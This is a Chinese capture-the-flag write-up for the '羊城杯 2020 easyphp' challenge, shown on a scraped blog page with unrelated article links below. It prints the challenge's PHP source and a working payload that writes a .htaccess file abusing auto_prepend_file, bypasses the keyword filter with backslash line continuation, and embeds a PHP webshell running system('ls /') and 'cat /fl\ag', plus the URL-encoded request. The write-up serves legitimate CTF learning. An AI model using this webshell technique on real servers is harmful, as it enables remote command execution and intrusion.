当前位置: 首页 > news >正文

[羊城杯 2020] easyphp

打开题目,源代码

 <?php$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}if(!isset($_GET['content']) || !isset($_GET['filename'])) {highlight_file(__FILE__);die();}$content = $_GET['content'];if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {echo "Hacker";die();}$filename = $_GET['filename'];if(preg_match("/[^a-z\.]/", $filename) == 1) {echo "Hacker";die();}$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}file_put_contents($filename, $content . "\nHello, world");
?> 

简单分析一下,先scandir函数来获取指定目录 ./下的所有文件和文件夹的列表,然后如果不为index.php,则unlink函数删除文件。接着就是对上传文件写入内容的黑名单过滤,然后对文件名正则匹配无字母。最后file_put_contents读取文件

既然文件名无字母,我们可以用.htaccess配置文件攻击
思路:向.htaccess文件写入shell,并且用auto_prepend_file包含.htaccess,但是file关键字被ban了,可以用换行绕过,结尾要用\处理content中的\n。

payload

php_value auto_prepend_fil\e .htaccess 
#<?php system('ls /');?>\ 

注:以注释的方法来写shell
由于这里有换行,我们丢到cyberchef里url编码
成功上传

?filename=.htaccess&content=php_value%20auto_prepend_fil%5Ce%20.htaccess%20%0A#%3C?php%20system('ls%20/');?%3E%5C%20

在这里插入图片描述修改命令,要绕过一下

php_value auto_prepend_fil\e .htaccess 
#<?php system('cat /fl\ag');?>\ 

编码一下上传,得到flag
在这里插入图片描述

http://www.lryc.cn/news/155060.html

相关文章:

  • QT 常用类与组件
  • C#控制台连接Mysql数据库,有配置数据库连接字符串的配置文件
  • PowerBuilder连接SQLITE3
  • Git 基本原理和常用操作
  • 单元测试和集成测试的区别
  • node基础概念
  • ArcGIS Maps SDK for JS(二):MapView简介----创建2D地图
  • 知识图谱推理研究综述9.3
  • 详细介绍c++中的类
  • C语言:扫雷小游戏
  • VScode SSH无法免密登录
  • Spring Cloud--从零开始搭建微服务基础环境【四】
  • FreeRTOS操作系统中,断言输出 Error:..\..\FreeRTOS\portable\RVDS\ARM_CM4F\port.c,766 原因
  • 【Linux】进程间通信与同步
  • SpringBoot 统一功能处理
  • 解决:sh: vite: command not found
  • el-select下拉多选框 el-select 设置默认值不可删除功能
  • Jetsonnano B01 笔记1:基础理解—网络配置—远程连接
  • Ubuntu系统信息查看指南:了解你的操作系统
  • 【STM32】学习笔记-SPI通信
  • 解决vue项目首行报红( ESLint 配置)和新建的vue文件首行报红问题
  • Linux 调试技术 Kprobe
  • 一文了解评估 K8s 原生存储产品需要关注的关键能力
  • linux免密登录报错 Bad owner or permissions on /etc/ssh/ssh_config.d/05-redhat.conf
  • Kafka常用参数
  • NFT Insider#105:The Sandbox即将参加韩国区块链周,YGG的声誉和进步(RAP)将引领玩家晋升到下一层级
  • TCP socket error (The proxy type is invalid for this operation).
  • 根据需求生成一个Vue模块的类图示例
  • C# 类class、继承、多态性、运算符重载,相关练习题
  • Mysql高级(进阶)SQL语句